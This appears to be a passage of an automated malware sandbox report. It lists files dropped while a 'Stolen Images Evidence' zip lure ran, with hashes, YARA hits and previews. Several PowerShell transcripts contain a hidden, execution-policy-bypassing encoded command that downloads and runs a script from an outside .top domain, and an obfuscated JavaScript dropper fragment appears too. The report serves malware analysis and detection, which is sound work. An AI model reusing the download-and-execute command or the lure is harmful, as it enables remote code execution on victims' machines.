Preview:	/!. AngularJS Material Design. * https://github.com/angular/material. * @license MIT. * v1.1.20. */body,html{height:100%;position:relative}body{margin:0;padding:0}[tabindex="-1"]:focus{outline:none}.inset{padding:10px}a.md-no-style,button.md-no-style{font-weight:400;background-color:inherit;text-align:left;border:none;padding:0;margin:0}button,input,select,textarea{vertical-align:baseline}button,html input[type=button],input[type=reset],input[type=submit]{cursor:pointer;-webkit-appearance:button}button[disabled],html input[type=button][disabled],input[type=reset][disabled],input[type=submit][disabled]{cursor:default}textarea{vertical-align:top;overflow:auto}input[type=search]{-webkit-appearance:textfield;box-sizing:content-box;-webkit-box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}input:-webkit-autofill{text-shadow:none}.md-visually-hidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\mirroring_cast_streaming.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	36340
Entropy (8bit):	5.313292965456902
Encrypted:	false
SSDEEP:	384:goitSTmMgVc2sUU1Ryk/kKNNIOGJfwaXaaFHKYpzKSivkhpnfHDETmoxKIRxVLjK:0+/kv/zOSf1HQmcjc6aJ
MD5:	3B822402369E38423E0196F38666E4FF
SHA1:	46003805834146270C8CDD8DD3DC586B96F07962
SHA-256:	E8A4514D5075DBF8D262D601E0BE56D2B9372E70E5F5FB8C6132DEC4D19F9C81
SHA-512:	DA6C98555AD7725D55B65F6D6951E74AD4164B4F42FDE5D8DE86A46AA681DF8D785993DDEBF76B3CA791EE7997F6AE445A24A768C846C12B0F150E0B98943B3D
Malicious:	false
Reputation:	low
Preview:	'use strict';var ey={TAB:0,ll:1,aq:2},fy=function(){return new kb("MediaRouter.CastStreaming.Session.Launch")},gy=function(){return new qb("MediaRouter.CastStreaming.Session.Length")},hy=function(a){ub("MediaRouter.CastStreaming.Start.Success",a,ey)};var iy=$a("mr.mirror.cast.LogUploader"),ky=function(a,b,c){jy("raw_events.log.gz",a,b,c);return b?"https://crash.corp.google.com/samples?reportid=&q="+encodeURIComponent("UserComments='"+b+"'"):""},jy=function(a,b,c,d){if(0==b.size)iy.info("Trying to upload an empty file to Crash"),d&&d(null);else{var e=new FormData;e.append("prod","Cast");e.append("ver",chrome.runtime.getManifest().version);e.append(a,b);c&&e.append("comments",c);Tv("https://clients2.google.com/cr/report",function(f){f=f.target;.var g=null;cw(f)?(g=ew(f),iy.info("Upload to Crash succeeded: "+g)):iy.info("Upload to Crash failed. HTTP status: "+f.Ja());d&&d(g)},"POST",e,void 0,3E4)}};var ly=function(){this.g=0;km(this)},ny=function(){my\|\|(my=new ly);return my},oy=function()

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\mirroring_common.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	216089
Entropy (8bit):	5.437746365180903
Encrypted:	false
SSDEEP:	6144:/Pq8hUz7IgBailiepZdRCguW0DY6aNxmLv8L3BN25oMJdxsWTi2xtTYCtKlr7QIC:/Pq8hUz7IgBailiepZdRCguW0DY6aNx2
MD5:	654360FF7FDFFE33D5A6ACFBF724A756
SHA1:	5A6A3F657FDC63FA603EE25F98FD6EB75BBBFCD7
SHA-256:	27116F53D9BF90CA864D92E03CD6DBD3346952109EBF7E4CBF4DD54555D4E92F
SHA-512:	59F1AF3F5BBE9E1DFEB24F895579D213BE1D89D17208734E4A34D58E47160210A4217B95A56CCD09DD8CD12637C70A51EE6B18063205E440113C829CDFDE2495
Malicious:	false
Reputation:	low
Preview:	'use strict';var yi;var zi=chrome.i18n.getMessage("545449835455981095");y("mr.IssueSeverity",{FA:"fatal",AK:"warning",CE:"notification"});y("mr.IssueAction",{tA:"dismiss",VC:"learn_more"});.var Ai=function(a,b){this.sinkId=this.routeId=null;this.severity=b;this.isBlocking="fatal"==this.severity?!0:!1;this.title=a;this.message=null;this.defaultAction="dismiss";this.helpPageId=this.secondaryActions=null},Ci=function(){var a=new Ai(Bi,"notification");a.helpPageId=6320939;a.defaultAction="learn_more";a.secondaryActions=["dismiss"];return a},Di=function(a,b){a.routeId=b;return a},Ei=function(a,b){a.sinkId=b;return a};var Fi=function(a,b){var c=this;this.h=void 0===b?null:b;this.g=new Promise(function(d,e){var f=function(g){c.h=null;e(g)};c.j=f;a(function(g){c.h=null;d(g)},f)})};Fi.prototype.cancel=function(a){this.j(a);if(this.h){var b=this.h;this.h=null;setTimeout(function(){return b(a)},0)}};var Gi=function(a,b,c){c=void 0===c?null:c;return new Fi(function(d,e){a.g.then(function(f){if(b)t

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\mirroring_hangouts.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	613714
Entropy (8bit):	5.552151482859797
Encrypted:	false
SSDEEP:	6144:izuonRs/5Hk1tJWW4085JHIWGNcTwBrSuJXiP6YzZnP7rHzSGDZflgi7aN:aIHk1sfaJSPx7rHxfJS
MD5:	6F0D3D6150756440E05FCAB694D5AEEF
SHA1:	E1F15F2E825E41185EAEC2A2EC58A5832E28D50D
SHA-256:	4FB517A0225506801DD60245B833914A99C78C2E929821BDA9072134EEB3C6E0
SHA-512:	DCEEC9E5EBB07601DF100E1F677BC67E1093C28CD9C8BC6E73AC2E5AF66B8AADD5F03EA46233EE78AB5015BDB8752E04D5707031A52B4A1DEBA345A411082282
Malicious:	false
Reputation:	low
Preview:	'use strict';/. Portions of this code are from MochiKit, received by. The Closure Authors under the MIT license. All other code is Copyright. 2005-2009 The Closure Authors. All Rights Reserved../.var Sz=function(a,b){this.u=[];this.J=a;this.M=b\|\|null;this.C=this.j=!1;this.l=void 0;this.G=this.L=this.D=!1;this.F=0;this.h=null;this.o=0};Sz.prototype.cancel=function(a){if(this.j)this.l instanceof Sz&&this.l.cancel();else{if(this.h){var b=this.h;delete this.h;a?b.cancel(a):(b.o--,0>=b.o&&b.cancel())}this.J?this.J.call(this.M,this):this.G=!0;this.j\|\|this.g(new Tz(this))}};Sz.prototype.H=function(a,b){this.D=!1;Uz(this,a,b)};.var Uz=function(a,b,c){a.j=!0;a.l=c;a.C=!b;Vz(a)},Xz=function(a){if(a.j){if(!a.G)throw new Wz(a);a.G=!1}};Sz.prototype.callback=function(a){Xz(this);Uz(this,!0,a)};Sz.prototype.g=function(a){Xz(this);Uz(this,!1,a)};var Zz=function(a,b,c){return Yz(a,b,null,c)},$z=function(a,b){return Yz(a,null,b,void 0)},Yz=function(a,b,c,d){a.u.push([b,c,d]);a.j&&Vz(a);return a};.Sz.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\mirroring_webrtc.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	2242
Entropy (8bit):	5.312965902729607
Encrypted:	false
SSDEEP:	48:FgYO8R6tlRIHPoS77t1KEFGVzgeEXUkMoxUA2Lu04fb/1fq:FfP69IHPbmEFGvgmotUuDD1fq
MD5:	D8C34BAD4274AD0795779A88CC53F14E
SHA1:	2E9F20B48CACF79627B231A42561198F369D9D34
SHA-256:	7CF60CF47D4A4D56541E039BF74C10FBE945A6430AD7663C9F7595BFDDC801C8
SHA-512:	BA5157B5EDECA4CCCFDBDE68B7431CB8901D59B97DB914FE421A3951E47F560358B483ED5C7F9BA9FFAC1A0D342222B65D9DCF7D52564482612FB31B0F2036AB
Malicious:	false
Reputation:	low
Preview:	'use strict';var ima={TAB:0,ll:1,aq:2},Y$=function(a){ub("MediaRouter.WebRtc.Start.Success",a,ima)};var Z$=function(a,b){Hj.call(this,b);this.H=a;this.l=new zb;this.g=$w(b.id);this.m=new zb;this.D=!1;this.o=null;this.F=!1;this.u=this.C=null;jma(this);kma(this);this.g.sendMessage(new Oj("GET_TURN_CREDENTIALS"))};t(Z$,Hj);.Z$.prototype.start=function(a){var b=this;return this.l.g.then(function(c){if(c.g)return Promise.reject(new Ni("Mirroring already started"));if(b.o)return Promise.reject(new Ni("Session permanently stopped"));b.C=new kb("MediaRouter.WebRtc.Session.Launch");c.ia.addStream(a);c.start();return b.m.g})};.Z$.prototype.stop=function(){var a=this;this.m.reject(new Ni("Session stop requested."));this.u&&(this.u.end(),this.u=null);if(this.o)return this.o;this.F=this.D=!1;this.C=null;return this.o=this.l.g.then(function(b){b.stop()}).then(function(){return a.g.dispose()}).catch(function(b){a.g.dispose();throw b;})};.var jma=function(a){a.g.onMessage=function(b){if(!b.type)throw

C:\Users\user\AppData\Local\Temp\wtfvzvwa.0gf\unarchiver.log Download File
Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	5.111119467784573
Encrypted:	false
SSDEEP:	24:MPFTyKL+miJomiJjWIPQmiJomiJUwCmiJfVviJoviJFTdyKviJbuviJOyKviJoBx:Wmu1GzGbzGzGpZGtGKGpI8GbAGP8GyGG
MD5:	126C28ED911D4984E3000F8FE51B7BFA
SHA1:	4372484FEC6170FCC54F035DF28832E0420D4B83
SHA-256:	FCDF1139DFB420DA093CCFA423EEF934A6A1768797D452FDFE60ED0A7EADCAC0
SHA-512:	9898F79330345AD930FF813401AAC0DA20896BF85114620B4B2222F639D8B455322DF5A0652D740F8F96670149AE76384B193BAB90DD2464A6D7F1F37481B3B3
Malicious:	false
Reputation:	low
Preview:	10/18/2021 10:45 PM: Unpack: C:\Users\user\Downloads\Stolen Images Evidence.zip..10/18/2021 10:45 PM: Tmp dir: C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd..10/18/2021 10:45 PM: Received from standard out: ..10/18/2021 10:45 PM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..10/18/2021 10:45 PM: Received from standard out: ..10/18/2021 10:45 PM: Received from standard out: Scanning the drive for archives:..10/18/2021 10:45 PM: Received from standard out: 1 file, 5511 bytes (6 KiB)..10/18/2021 10:46 PM: Received from standard out: ..10/18/2021 10:46 PM: Received from standard out: Extracting archive: C:\Users\user\Downloads\Stolen Images Evidence.zip..10/18/2021 10:46 PM: Received from standard out: --..10/18/2021 10:46 PM: Received from standard out: Path = C:\Users\user\Downloads\Stolen Images Evidence.zip..10/18/2021 10:46 PM: Received from standard out: Type = zip..10/18/2021 10:46 PM: Received from standard out: Physical S

C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js Download File
Process:	C:\Windows\SysWOW64\7za.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	18464
Entropy (8bit):	5.3485129141166805
Encrypted:	false
SSDEEP:	384:er9FunzlX09xhehh1/t1pvM9gmd2D5nI7f8Vs6diq:wFslEDheh/rpv8YRyCV
MD5:	C296C760658B4E066C5BD5C08DCB833F
SHA1:	20DCBE554BA6F271E0169ED827197307151D490A
SHA-256:	B16109170360BE84A3B1023A38C195CAD2B170F115E726F719F05F09BD1EDE3F
SHA-512:	0DADEE98DE797748442BB53C21980BB4FD065F6D285BECA37A172B408212BDAD6F518F01CFA017E552669BA3D9DD03AAF2156D0201CEA82222E76D29D71213DA
Malicious:	false
Reputation:	low
Preview:	var _0x2e59a1=_0xb28c;var _0x50c456=_0xb28c;var _0x4ad960=_0xb28c;var _0x5c61a7=_0xb28c;var _0x2d71fa=_0xb28c;var _0x2c0829=_0xb28c;var _0x1f6455=_0xb28c;(function(_0x342afd,_0x173f2b){var _0x3195e1=_0xb28c;var _0x210e87=_0xb28c;var _0x530b8b=_0xb28c;var _0x41d915=_0xb28c;var _0x50bb2c=_0xb28c;var _0x191ed3=_0xb28c;var _0x27c784=_0xb28c;var _0x42a4ff=_0x342afd();while(!![]){try{var _0x4959a5=-parseInt(_0x3195e1('0x25b'))/(0x1ec8+-0x3-0x568+-0x2eff)+-parseInt(_0x210e87('0x1c4'))/(0xa39+-0xbd2+0x19b)(parseInt(_0x210e87('0x222'))/(-0x2152+-0x772-0x1+0x19e3))+-parseInt(_0x3195e1('0x275'))/(-0xb1a+-0x1686+0x10x21a4)(-parseInt(_0x41d915('0x1f7'))/(0x1a0x11a+-0x9f3+-0x12ac))+parseInt(_0x530b8b('0x244'))/(-0xa7b+0x1-0x24af+-0x12e-0x28)(parseInt(_0x41d915('0x22f'))/(0x1-0xc36+-0x2680+0x32bd))+-parseInt(_0x3195e1('0x1bd'))/(0x1-0x7a2+-0x77-0x1f+0x6bf-0x1)(parseInt(_0x210e87('0x234'))/(0x2-0xda5+0x1286-0x2+0x15750x3))+parseInt(_0x41d915('0x207'))/(-0x1ead+-0x3d70x1+0x1147*0x2)+p

C:\Users\user\Documents\20211018\PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3562
Entropy (8bit):	5.522487772337398
Encrypted:	false
SSDEEP:	96:BZu/1NX0VT3eqDo1ZIZ0d/1NX0VT3eqDo1ZxtU3J3J3ZZq:G0VTex0VT8
MD5:	17F8436AE1B65DCB5AB704CA1767AD6A
SHA1:	B1EEDDDED2F137E2D6018D4B5B00A251C7EF396F
SHA-256:	24607429AA90C1E5565FAB16EEEC5CB59BF2CF75FA9094511E8A001C45999081
SHA-512:	3C9B2F74FB1A87F7EA6542E281A50DE43F35C2FD77D3CA5167CDFD71E999CB1E16FF59B05DE2EDE05101E75EF0FE1C98FA45BC8CF409C34F0FCA9C5F1D80F995
Malicious:	true
Yara Hits:	Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt, Author: Florian Roth Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt, Author: Joe Security
Reputation:	low
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211018224636..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 610930 (Microsoft Windows NT 10.0.17134.0)..Host Application: poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=..Process ID: 6208..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211018224636..********************..PS>IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php")

C:\Users\user\Documents\20211018\PowerShell_transcript.610930.D04HlV6H.20211018224618.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3562
Entropy (8bit):	5.52545483289856
Encrypted:	false
SSDEEP:	96:BZc/1NX0VT37qDo1Z6Zy/1NX0VT37qDo1ZMtU3J3J3xZi:U0VTF0VTW
MD5:	C2917CEB2CAE625245DCB7BBD4200892
SHA1:	D49904EBE19046A57F549D296946BCC211268E6F
SHA-256:	C7B5B10C8C45C13C9260DE5735B8D49417EF08730FD937EA95A70EDF4F389B35
SHA-512:	2DECC36783B29FCF18E7430DF84DFEEBFAC137207C2DC8802BBFE0AF4D79B825ADB38452411807C5BF740A25ADE43DA64D7051B8C0213478E169D90D121B1044
Malicious:	true
Yara Hits:	Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.D04HlV6H.20211018224618.txt, Author: Florian Roth Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.D04HlV6H.20211018224618.txt, Author: Joe Security
Reputation:	low
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211018224634..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 610930 (Microsoft Windows NT 10.0.17134.0)..Host Application: poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=..Process ID: 5648..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211018224634..********************..PS>IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php")

C:\Users\user\Documents\20211018\PowerShell_transcript.610930.OeKRHfkQ.20211018224629.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3562
Entropy (8bit):	5.52455828746801
Encrypted:	false
SSDEEP:	96:BZ7/1NX0VT3MqDo1ZbZH/1NX0VT3MqDo1ZhtU3J3J3mZZ:T0VTS0VTW
MD5:	FE5C62A046BB1A727F7DB8647A827BC6
SHA1:	E7573FBA5BA0D383CA853E2C0AFFDB3C0D52AE5F
SHA-256:	A4E1DBBED8235E2C9D1FE8F54538FAE382A6157E2207588F4BC8F2CFDE74B79B
SHA-512:	EC18806AE69B3813C75F38D42EDED5F9DC879EAC0742FA496BCAD4489F9A9910096210870BA3657D74961A1EEB0D62693608260304A14D0508BDA953335AE871
Malicious:	true
Yara Hits:	Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.OeKRHfkQ.20211018224629.txt, Author: Florian Roth Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.OeKRHfkQ.20211018224629.txt, Author: Joe Security
Reputation:	low
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211018224653..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 610930 (Microsoft Windows NT 10.0.17134.0)..Host Application: poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=..Process ID: 6268..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211018224653..********************..PS>IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php")

C:\Users\user\Downloads\Stolen Images Evidence (1).zip (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	7.950907999861179
Encrypted:	false
SSDEEP:	96:AQcr55u0wiJhLHHhpJEwNWrQt2NXUiMwv1pGoOK2hrm/bcTR3R5huVrv:tcV5JhzhpJdNWszwv13OK2KclduVD
MD5:	173C1E5728F362757658B0DCE2E37D78
SHA1:	3305694787EF9E42344916806AE898D7E3A52665
SHA-256:	B81F7C905AC4C3FB5A8E4FDF07A85D8CD4DAA4F0D31BA950EBD043F013F9577D
SHA-512:	3E1B6ECF60B8DDAC9B977A8746AF0C7EFB7625214490D3605104C2F64D5FA6B540F89F9A10B3D6F07053800C06B1F918FB8A1C61D7B899A1CE5ED2D72CF49E0F
Malicious:	false
Reputation:	low
Preview:	PK..........RS........ H......Stolen Images Evidence.js.;[w.....W.=...{......U[Q@Y{.3..Z.:.V...$....X.%...-_..p...t...9.......D...)j9=.8H+K..W.N%=.Q...0.IU..gAPVT5.....o.\|....Y.N...TE..{..C.......H~U.F.%.......UT.u.'........W..].(A...s{.\,C.._........X.E..W.~l......o..nJ...no....}....~....ez.. ..~..)OP..0TG.....w..{..M6......@...R..!...\|.b.IZQc\.8....e.....(...jdziP..t00..@.T..a.<f.J.TQb.N....D.>}....p.0.9.HO.S.....%C....\.V.f.j.......[[..DM...(..e4.W+...R.._.....A4<P.7....[x...1E.V.g....9......_.7..}x...}..../?...%..Gi{.-J..p3..2....._.<g.-...j.I.....E....6.\&2....k+........./O...t...~GKPT..J..K}.)}.~...ER...}.MqP.#.'._.....F.0.. ...&.B.0.CE.3..j4..E:U..55R...(..~.J.+...4.,(.I[...(.0.\7..<t.:$P....j.PP...j.?AU.<..l..<.T.\|.'/J~_/....Q.8.......U....hH.'6.7U..z.Y../....%H@TH......[$..,....iY.+.....@Rv:]...g{../...H'n*.<.@]b.....G...4..6.oR.x.Vrc.....%..9-....K./r..T1..,........0.i).....s5m.k;.....U.......xUAx..VV..J....4J9....u.u.X..$.F.....sV... .}.

C:\Users\user\Downloads\Stolen Images Evidence (1).zip.crdownload Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	7.950907999861179
Encrypted:	false
SSDEEP:	96:AQcr55u0wiJhLHHhpJEwNWrQt2NXUiMwv1pGoOK2hrm/bcTR3R5huVrv:tcV5JhzhpJdNWszwv13OK2KclduVD
MD5:	173C1E5728F362757658B0DCE2E37D78
SHA1:	3305694787EF9E42344916806AE898D7E3A52665
SHA-256:	B81F7C905AC4C3FB5A8E4FDF07A85D8CD4DAA4F0D31BA950EBD043F013F9577D
SHA-512:	3E1B6ECF60B8DDAC9B977A8746AF0C7EFB7625214490D3605104C2F64D5FA6B540F89F9A10B3D6F07053800C06B1F918FB8A1C61D7B899A1CE5ED2D72CF49E0F
Malicious:	false
Reputation:	low
Preview:	PK..........RS........ H......Stolen Images Evidence.js.;[w.....W.=...{......U[Q@Y{.3..Z.:.V...$....X.%...-_..p...t...9.......D...)j9=.8H+K..W.N%=.Q...0.IU..gAPVT5.....o.\|....Y.N...TE..{..C.......H~U.F.%.......UT.u.'........W..].(A...s{.\,C.._........X.E..W.~l......o..nJ...no....}....~....ez.. ..~..)OP..0TG.....w..{..M6......@...R..!...\|.b.IZQc\.8....e.....(...jdziP..t00..@.T..a.<f.J.TQb.N....D.>}....p.0.9.HO.S.....%C....\.V.f.j.......[[..DM...(..e4.W+...R.._.....A4<P.7....[x...1E.V.g....9......_.7..}x...}..../?...%..Gi{.-J..p3..2....._.<g.-...j.I.....E....6.\&2....k+........./O...t...~GKPT..J..K}.)}.~...ER...}.MqP.#.'._.....F.0.. ...&.B.0.CE.3..j4..E:U..55R...(..~.J.+...4.,(.I[...(.0.\7..<t.:$P....j.PP...j.?AU.<..l..<.T.\|.'/J~_/....Q.8.......U....hH.'6.7U..z.Y../....%H@TH......[$..,....iY.+.....@Rv:]...g{../...H'n*.<.@]b.....G...4..6.oR.x.Vrc.....%..9-....K./r..T1..,........0.i).....s5m.k;.....U.......xUAx..VV..J....4J9....u.u.X..$.F.....sV... .}.

C:\Users\user\Downloads\Stolen Images Evidence (1).zip:Zone.Identifier Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.35199448133555
Encrypted:	false
SSDEEP:	6:qY3tNp4KfVWfbGNHBtaXFCsES3Pt55aM5XFVuY1xwNCIPqOhcKiVpm:NWfbGNHBYzEcb5dVuu1IPsd3m
MD5:	50DEFACF6800BC1D49138ABCEF416D8D
SHA1:	DAAB6F4FEA6F8A2972220C51D10EDAC0F7A42565
SHA-256:	5F0F4CA324E9FF96464C9B427664AA9F9798C73FCD1B20A05016CA7202B18D1E
SHA-512:	FDC770F3A944C2CC84427E77AF32132D7CEE05C728865222180F01993899E98BF730111BE6F2A79D9D144B9AE5D56483973D573015E9C9035CBE915FAE3C7038
Malicious:	false
Reputation:	low
Preview:	[ZoneTransfer]..ZoneId=3..HostUrl=https://doc-0k-3c-docs.googleusercontent.com/docs/securesc/hcue5o0sqp41v6uc8cr49rhddquntu8g/mtvptcmevd2ocn9hi3nttjunvchc3gtu/1634589900000/10323111707164989971/04457783464220248333Z/1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e=download&nonce=e7j16a2kasg3e&user=04457783464220248333Z&hash=vm345lkau40cl5qr6oegpkq68u154lcv..

C:\Users\user\Downloads\Stolen Images Evidence (2).zip (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	7.950907999861179
Encrypted:	false
SSDEEP:	96:AQcr55u0wiJhLHHhpJEwNWrQt2NXUiMwv1pGoOK2hrm/bcTR3R5huVrv:tcV5JhzhpJdNWszwv13OK2KclduVD
MD5:	173C1E5728F362757658B0DCE2E37D78
SHA1:	3305694787EF9E42344916806AE898D7E3A52665
SHA-256:	B81F7C905AC4C3FB5A8E4FDF07A85D8CD4DAA4F0D31BA950EBD043F013F9577D
SHA-512:	3E1B6ECF60B8DDAC9B977A8746AF0C7EFB7625214490D3605104C2F64D5FA6B540F89F9A10B3D6F07053800C06B1F918FB8A1C61D7B899A1CE5ED2D72CF49E0F
Malicious:	false
Reputation:	low
Preview:	PK..........RS........ H......Stolen Images Evidence.js.;[w.....W.=...{......U[Q@Y{.3..Z.:.V...$....X.%...-_..p...t...9.......D...)j9=.8H+K..W.N%=.Q...0.IU..gAPVT5.....o.\|....Y.N...TE..{..C.......H~U.F.%.......UT.u.'........W..].(A...s{.\,C.._........X.E..W.~l......o..nJ...no....}....~....ez.. ..~..)OP..0TG.....w..{..M6......@...R..!...\|.b.IZQc\.8....e.....(...jdziP..t00..@.T..a.<f.J.TQb.N....D.>}....p.0.9.HO.S.....%C....\.V.f.j.......[[..DM...(..e4.W+...R.._.....A4<P.7....[x...1E.V.g....9......_.7..}x...}..../?...%..Gi{.-J..p3..2....._.<g.-...j.I.....E....6.\&2....k+........./O...t...~GKPT..J..K}.)}.~...ER...}.MqP.#.'._.....F.0.. ...&.B.0.CE.3..j4..E:U..55R...(..~.J.+...4.,(.I[...(.0.\7..<t.:$P....j.PP...j.?AU.<..l..<.T.\|.'/J~_/....Q.8.......U....hH.'6.7U..z.Y../....%H@TH......[$..,....iY.+.....@Rv:]...g{../...H'n*.<.@]b.....G...4..6.oR.x.Vrc.....%..9-....K./r..T1..,........0.i).....s5m.k;.....U.......xUAx..VV..J....4J9....u.u.X..$.F.....sV... .}.

C:\Users\user\Downloads\Stolen Images Evidence (2).zip.crdownload Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	7.950907999861179
Encrypted:	false
SSDEEP:	96:AQcr55u0wiJhLHHhpJEwNWrQt2NXUiMwv1pGoOK2hrm/bcTR3R5huVrv:tcV5JhzhpJdNWszwv13OK2KclduVD
MD5:	173C1E5728F362757658B0DCE2E37D78
SHA1:	3305694787EF9E42344916806AE898D7E3A52665
SHA-256:	B81F7C905AC4C3FB5A8E4FDF07A85D8CD4DAA4F0D31BA950EBD043F013F9577D
SHA-512:	3E1B6ECF60B8DDAC9B977A8746AF0C7EFB7625214490D3605104C2F64D5FA6B540F89F9A10B3D6F07053800C06B1F918FB8A1C61D7B899A1CE5ED2D72CF49E0F
Malicious:	false
Reputation:	low
